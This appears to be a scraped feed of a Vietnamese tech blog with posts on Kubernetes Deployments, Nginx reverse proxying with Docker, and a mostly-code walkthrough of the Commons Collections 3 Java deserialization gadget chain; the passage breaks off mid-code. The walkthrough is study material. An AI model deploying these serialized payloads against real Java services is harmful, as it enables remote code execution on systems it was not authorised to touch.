Với kind: Pod thì ta chỉ có thể chạy riêng lẻ từng ứng dụng. Nhưng nếu ta muốn tạo nhiều bản sao của Pod và đảm bảo duy trì các Pod, kind: Deployment sẽ giúp ta điều đó.

Số pod sẽ được định nghĩa ở trường replicas của Deployment.

Khi tạo một Deployment, bạn chỉ cần xác định mẫu Pod (Pod template) và các nhãn (labels) để Deployment theo dõi. Deployment sẽ sử dụng mẫu Pod để tạo và duy trì các bản sao của Pod.

Nếu một Pod không phản hồi, Deployment sẽ thay thế nó để đảm bảo số lượng Pod. Cũng như nếu vượt quá thì nó sẽ giảm số Pod.

Lưu ý:
Nếu container bị lỗi, Pod vẫn được coi là hoạt động bình thường và không có thay đổi trong Deployment.

Một ví dụ đơn giản:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
apiVersion: apps/v1
kind: Deployment
metadata:
  name: my-app-deployment
  labels:
    app: nginx
spec:
  replicas: 3
  selector:
    matchLabels:
      app: my-app
  template:
    metadata:
      labels:
        app: my-app
    spec:
      containers:
        - name: my-app-container
          image: nginx:latest
          ports:
            - containerPort: 80
1
2
3
4
5
6
7
8
9
10
11
PS /home/azureuser/test>kubectl apply -f nginx-deployment.yaml
PS /home/azureuser/test> kubectl get deployments
NAME                READY   UP-TO-DATE   AVAILABLE   AGE
my-app-deployment   3/3     3            3           17s
PS /home/azureuser/test> kubectl get pods
NAME                                READY   STATUS    RESTARTS   AGE
hello-rh9xw                         1/1     Running   0          26m
my-app-deployment-dc547ddd7-bxbhz   1/1     Running   0          23s
my-app-deployment-dc547ddd7-cvrjx   1/1     Running   0          23s
my-app-deployment-dc547ddd7-z9vtz   1/1     Running   0          23s
my-app-pod                          1/1     Running   0          155m

my-app-deployment đã được đưa lên Deployment, và nó tạo ra 3 pods khác nhau. Tuy nhiên các pods vẫn chưa READY.

Xem trạng thái của Deployment: kubectl rollout status deployment/my-app-deployment

Bây giờ ta thử xóa một pod để xem Deployment làm gì:

1
2
3
4
5
6
7
8
PS /home/azureuser/test> kubectl delete pod my-app-deployment-dc547ddd7-bxbhz --grace-period=0 --force
Warning: Immediate deletion does not wait for confirmation that the running resource has been terminated. The resource may continue to run on the cluster indefinitely.
pod "my-app-deployment-dc547ddd7-bxbhz" force deleted
PS /home/azureuser/test> kubectl get pods
NAME                                READY   STATUS    RESTARTS   AGE
my-app-deployment-dc547ddd7-bjblw   1/1     Running   0          10s
my-app-deployment-dc547ddd7-cvrjx   1/1     Running   0          7m22s
my-app-deployment-dc547ddd7-z9vtz   1/1     Running   0          7m22s

Như kết quả ở trên, Deployment đã phát hiện pod bị xóa và ngay lập tức tái tạo lại pod.

Để xóa Deployment vừa tạo, ta dùng lệnh:

1
kubectl delete deployment my-app-deployment

Kiểm tra Pod đang sử dụng:

1
2
kubectl get pods
kubectl describe pod <name-pod>

Câu lệnh cơ bản

Environment variable:
https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/#define-an-environment-variable-for-a-container

1
2
kuberctl create deployment <name> --image=<name>
kubectl expose deployment <name> --type=<type> --port=8080

Tham khảo:

]]> DevOps Docker Docker DevOps https://rayinaw.github.io/2023/06/23/kubernetes-learning/#disqus_thread Nginx Learning Journey https://rayinaw.github.io/2023/04/15/nginx-learning/ https://rayinaw.github.io/2023/04/15/nginx-learning/ Sat, 15 Apr 2023 04:55:36 GMT <h2 id="Cau-hinh"><a href="#Cau-hinh" class="headerlink" title="Cấu hình"></a>Cấu hình</h2><p>Yêu cầu: </p> <ul> <li>Sử dụng HDH linux, ở đâ Cấu hình

Yêu cầu:

  • Sử dụng HDH linux, ở đây mình dùng Ubuntu.
  • Cài đặt docker
  • Cài đặt node.js và npm

Docker & nginx cơ bản

Để thuận tiện, ở đây mình xây dựng nginx trên docker. Bạn nào chưa biết dùng docker thì có thể xem bài viết cũ của mình ở đây.

Cấu trúc file:

1
2
3
├── docker-compose.yml
└── reverse_proxy
    └── nginx.conf

Nội dung file docker-compose.yml:

  • Nginx là một máy chủ web được cấu hình bằng tập tin nginx.conf, file cấu hình nginx thường được đặt trong /etc/nginx/nginx.conf. Cho nên chúng ta cần copy file nginx.conf vào /etc/nginx/nginx.conf ở volumes trong docker-compose.yml file.
1
2
3
4
5
6
7
8
9
10
version: '3'

services:
  reverse-proxy:
    image: nginx:1.23.4
    container_name: reverse_proxy_demo
    volumes:
      - ./reverse_proxy/nginx.conf:/etc/nginx/nginx.conf
    ports:
      - 80:80

Nội dung file nginx.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
user nginx;
worker_processes auto;

error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;

events {
    worker_connections 1024;
}

http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    log_format main '$remote_addr - $remote_user [$time_local] "$request" '
        '$status $body_bytes_sent "$http_referer" '
        '"$http_user_agent" "$http_x_forwarded_for"';

    access_log /var/log/nginx/access.log main;

    sendfile on;
    keepalive_timeout 65;
    # Ta chỉ cần tập trung vào cấu hình server này.
    server {
        listen 80;
        server_name localhost;

        location / {
            return 200 "Hello World";
        }
    }
}

Khởi chạy: docker compose up -d hoặc nếu bạn đã cài gói docker-compose thì dùng docker-compose up -d.

Dùng docker ps để xem container đang chạy. Nó đã chạy trên port 80, bây giờ truy cập localhost:80 để xem kết quả.

Uke, server đã chạy nhưng chỉ đơn giản là trả về file có nội dung Hello World. Ta cùng học tiếp nhé~

Chạy docker compose down để gỡ container đi, nếu bạn có cài những container khác mà không muốn mất thì nhớ chỉ định đúng container để gỡ, ở đây là docker compose down reverse_proxy_demo

Render html file

Tạo thêm file html/index.html:

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html lang="en">

<body>
    <h1>Hello world!</h1>
</body>

</html>

Cây thư mục: 

1
2
3
4
5
├── docker-compose.yml
├── html
│   └── index.html
└── reverse_proxy
    └── nginx.conf

Đưa thư mục html vào container:

1
2
3
4
5
6
7
8
9
10
11
version: '3'

services:
  reverse-proxy:
    image: nginx:1.23.4
    container_name: reverse_proxy_demo
    volumes:
      - ./reverse_proxy/nginx.conf:/etc/nginx/nginx.conf
      - ./html:/html
    ports:
      - 80:80

Nắm một xíu về chỉ thị root trong nginx:

  • Chỉ thị root được sử dụng để chỉ định đường dẫn tới thư mục gốc (root directory) chứa các tập tin tĩnh (ví dụ: các tập tin HTML, CSS, JavaScript, hình ảnh, v.v.) được phục vụ bởi Nginx.
  • Nếu bạn đặt root /html; trong cấu hình Nginx, thì khi có yêu cầu truy cập đến server, Nginx sẽ tìm kiếm các tập tin tĩnh trong thư mục /html để phục vụ cho yêu cầu đó.

Chỉnh sửa file nginx.conf:

1
2
3
4
5
6
7
8
9
server {
    listen 80;
    server_name localhost;

    location / {
        root /html;
        index index.html;
    }
}

Hoặc chúng ta có thể đặt đường dẫn root cho toàn bộ server:

1
2
3
4
5
6
7
8
9
server {
    listen 80;
    root /html;
    server_name localhost;

    location / {
        index index.html;
    }
}

Khởi chạy docker compose up -d. Truy cập localhost, file index.html đã được khởi chạy trên browser.

Đặt chỉ thị error_page để xử lý 404 not Found

Thường thì này cũng không cần thiết lắm, nhưng mình có thể tự xử lý status 404 riêng.

Thêm file 404.html vào thư mục html.

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
    <title>404 - Not Found</title>
</head>
<body>
    <h1>404 - Not Found</h1>
    <p>Oh no bro, you're going down a path that even a saint like me can't handle.</p>
</body>
</html>

Thêm chỉ thị error_page:

1
2
3
4
5
6
7
8
9
10
11
server {
    listen 80;
    root /html;
    server_name localhost;

    location / {
        index index.html;
    }

    error_page 404 /404.html;
}

Khởi chạy: docker compose up -d (nhớ docker compose down trước nhé).

Truy cập localhost/abjdkje, trang lỗi đã được đổi thành trang 404.html của mình.

Chỉ thị proxy_pass

Công dụng của nginx là điều hướng người dùng,… nên proxy_pass là một điều mà không thể không nhắc đến.

Mình sẽ tạo một node.js web app cơ bản để demo cho rõ nhé.

Thêm thư mục app:

  • Đi đến thư mục app gõ npm init -y
  • Tiếp theo chạy lệnh npm install express
  • Tạo file app.js:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    const express = require('express');

    const app = express();
    const PORT = 8080;

    app.get('/', (req, res) => {
        res.send('Hello world!');

    });

    app.listen(PORT, () => {
        console.log(`Server is running on http://localhost:${PORT}`);
    });
  • Tạo file Dockerfile:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    FROM node:14

    WORKDIR /app

    COPY package*.json /app

    RUN npm install

    COPY . /app

    EXPOSE 8080

    CMD [ "node", "app.js" ]

Sau khi chạy xong ta sẽ có cây thư mục như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
.
├── app
│   ├── node_modules
│   ├── app.js
│   ├── Dockerfile
│   ├── package.json
│   └── package-lock.json
├── docker-compose.yml
├── html
│   ├── 404.html
│   └── index.html
└── reverse_proxy
    └── nginx.conf

Chỉnh sửa docker-compose.yml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
version: '3'

services:
  node-app:
    build: ./app
    container_name: node_app_demo
    ports:
      - 8080:8080
  reverse-proxy:
    image: nginx:1.23.4
    container_name: reverse_proxy_demo
    volumes:
      - ./reverse_proxy/nginx.conf:/etc/nginx/nginx.conf
      - ./html:/html
    ports:
      - 80:80
    depends_on:
      - node-app

Notes:

  • Trong một môi trường Docker Compose, các dịch vụ (services) được định nghĩa trong docker-compose.yml được xem như các tên miền. Khi bạn đặt tên cho dịch vụ trong docker-compose.yml (ví dụ: node-app), Docker Compose sẽ tạo một mạng mặc định giữa các dịch vụ và sử dụng tên của dịch vụ đó làm tên miền để chúng có thể giao tiếp với nhau.
  • Để nginx chuyển hướng đến node-app thì chúng ta phải set tên miền là http://node-app:8080 tuy nhiên do ở đây mình đặt tên lại cho container là node_app_demo nên chúng ta sẽ set là http://node_app_demo:8080.
  • Nếu chúng ta đặt là http://localhost:8080 thì nginx sẽ chuyển hướng đến localhost của container nginx chứ không phải là node_app_demo.

Cấu hình lại nginx.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
server {
        listen 80;
        server_name localhost;

        location / {
            proxy_pass http://node_app_demo:8080;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }

        error_page 404 /404.html;
        
        location /404.html {
            root /html;
        }
    }

Với cấu hình trên, khi người dùng truy cập đến http://localhost/ thì nginx sẽ điều hướng đến container node_app_demo.

Khởi chạy: docker compose up -d

Thư mục của mình để ở đây

]]> DevOps Nginx Docker Docker DevOps Nginx https://rayinaw.github.io/2023/04/15/nginx-learning/#disqus_thread Phân tích chuỗi Commons Collections 3 https://rayinaw.github.io/2023/03/20/CommonsCollections3/ https://rayinaw.github.io/2023/03/20/CommonsCollections3/ Mon, 20 Mar 2023 14:46:42 GMT <h2 id="Mot-vai-kien-thuc-can-nam"><a href="#Mot-vai-kien-thuc-can-nam" class="headerlink" title="Một vài kiến thức cần nắm"></a>Một vài kiế Một vài kiến thức cần nắm

Bài viết này mình sử dụng template từ 3 bài viết trước về CC1-Lazymap, cc1-TransformedMap và CC2 nên để có thể hiểu được các bạn nên đọc 3 bài kia trước nhé.

Môi trường

  • JDK8u65
  • Commons-Collections 3.2.1
    Thêm Commons-Collections 3.2.1 vào project bằng dependencies (pom.xml file):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.25.0-GA</version>
    </dependency>

Phân tích

Sơ đồ tóm tắt chuỗi.

CC2, CC3, CC4 đều được xây dựng dựa trên TemplateImpl. Mình đã xây dựng phần này ở bài viết về cc3, nên bài này mình sẽ sử dụng lại nó.

1
2
3
4
5
6
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
TemplatesImpl.getTransletInstance()->_class[_transletIndex].newInstance()
Runtime.getRuntime().exec("calc.exe")

Đoạn code trigger lớp TemplatesImpl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.*;

public class cc2 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    }
}

Ở CC2, chúng ta lợi dụng thực thi hàm newTransformer thông qua InvokerTransformer.newTransform(). Còn với CC3 là gì thì chúng ta cùng nhau đi tiếp nào.

Tìm kiếm ta thấy có lớp TrAXFilter gọi đến nó ở trong hàm tạo.

Đi đến hàm tạo của TrAXFilter phân tích một chút (phân tích trước chứ có cái có thể không xài nhé):

  • _templates là một instance của interface Templates -> _templates có thể là những lớp implements Templates (VD TemplatesImpl)
  • _transformer là một instance của class TransformerImpl và ở đây nó có thực thi _transformer = (TransformerImpl) templates.newTransformer(); -> Tìm class tạo ra TrAXFilter để nó thực thi hàm tạo.

InstaniateTransformer

Theo chain này, chúng ta sẽ dùng lớp InstantiateTransformer để tạo TrAXFilter ở hàm transform.

Ở đây thì cũng khá dễ hiểu, trước tiên nó check Object mình truyền vào có phải là instance Class hay không, vậy thì chúng ta phải truyền Object loại khác với Class.

Tiếp theo hàm này sử dụng reflection để tạo instance của một lớp nào đó. Mình sẽ phân tích rõ như sau:

  • Constructor con = ((Class) input).getConstructor(iParamTypes);
    • con là constructer của input truyền vào hàm transform.
    • iParamTypes là mảng các kiểu dữ liệu truyền vào constructor của lớp TrAXFilter
    • iArgs là mảng các tham số truyền vào constructor.
  • Sau đó nó tạo instance của class cần tạo bằng con.newInstance(iArgs)

Nhìn vào hàm tạo của InstantiateTransformer để xem các biến iParamTypes, iArgs được tạo như nào:

1
2
3
4
5
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    super();
    iParamTypes = paramTypes;
    iArgs = args;
}

Tóm gọn lại ý tưởng đến lúc này:
* Ta có templates là instance của TemplateImpl cần thực thi newTransformer()
* Tạo một instace của InstantiateTransformer với paramTypes là mảng chứa kiểu Class của tham số truyền vào constructor TrAXFilter (new Class[]{Templates.class}). args là mảng chứa tham số cần truyền vào constructor của TrAXFilter (new Object[]{templates})
* Thực thi instantiateTransformer.transform(TrAXFilter.class)

Từ đây ta có một POC nhỏ như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.*;

public class cc3 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

ChainedTransformed

Tương tự như InvokerTransformer.transform, InstantiateTransformer implements Transformer nên thằng này có thể cho vào ChainedTransformed.
Lợi ích của việc này như ở cc1-TransformedMap mình đã nói đó là chúng ta có thể trực tiếp thực thi mà không cần điều khiển đầu vào của hàm transform() bằng cách sử dụng ConstantTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
        chainedTransformer.transform(null);
    }
}

Tương tự như cc1, các bạn có thể nhìn vào sơ đồ ở đầu bài viết, từ ChainedTransformed chúng ta có hai hướng đó là kết hợp với TransformedMap, hoặc Lazymap để tạo thành một chain.

Hai cái này mình đã có bài viết về nó nên mình sẽ dùng lại luôn. Nếu muốn giải thích kĩ hơn thì các bạn xem lại ở bài viêt trước nhé~

ChainedTransformed + TransformedMap

Tiếp đến ta chỉ cần thêm đoạn này để trigger ChainedTransformer.transform.

1
2
3
4
5
Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(new HashMap<>(), null, chainedTransformer);
        map.put(null, null);
        for(Map.Entry entry : map.entrySet()){
            entry.setValue(null);
}

POC đến giai đoạn hiện tại:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
        Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(new HashMap<>(), null, chainedTransformer);
        map.put(null, null);
        for(Map.Entry entry : map.entrySet()){
            entry.setValue(null);
        }

    }
}

Hoàn thiện chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
        //chainedTransformer.transform(null);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "test-value");
        Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
        aihClassConstructor.setAccessible(true);
        Object aihObject = aihClassConstructor.newInstance(Target.class, map);
        serialize(aihObject);
        unserialize("ser.bin");
    }
}

Xây dựng xong chạy lên thì không thấy máy tính bật :) check đi check lại, tưởng là có vấn đề gì hóa ra jdk-1.8.0_342 mình đặt tên là 1.8.0_65 nên không chạy được :).

Cái phần này mình chỉ lấy lại template từ bài viết trước, nếu các bạn chưa xem thì xem bài đó để hiểu nó là gì nhé~

ChainedTransformed + LazyMap

Chain hoàn chỉnh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
        //chainedTransformer.transform(null);
        //----------------------TransformedMap
//        HashMap<Object, Object> hashMap = new HashMap<>();
//        hashMap.put("value", "test-value");
//        Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
//        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
//        aihClassConstructor.setAccessible(true);
//        Object aihObject = aihClassConstructor.newInstance(Target.class, map);
//        serialize(aihObject);
//        unserialize("ser.bin");
        //-----------------------LazyMap
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        //lazyMap.get(null);
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        InvocationHandler aihInstance = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
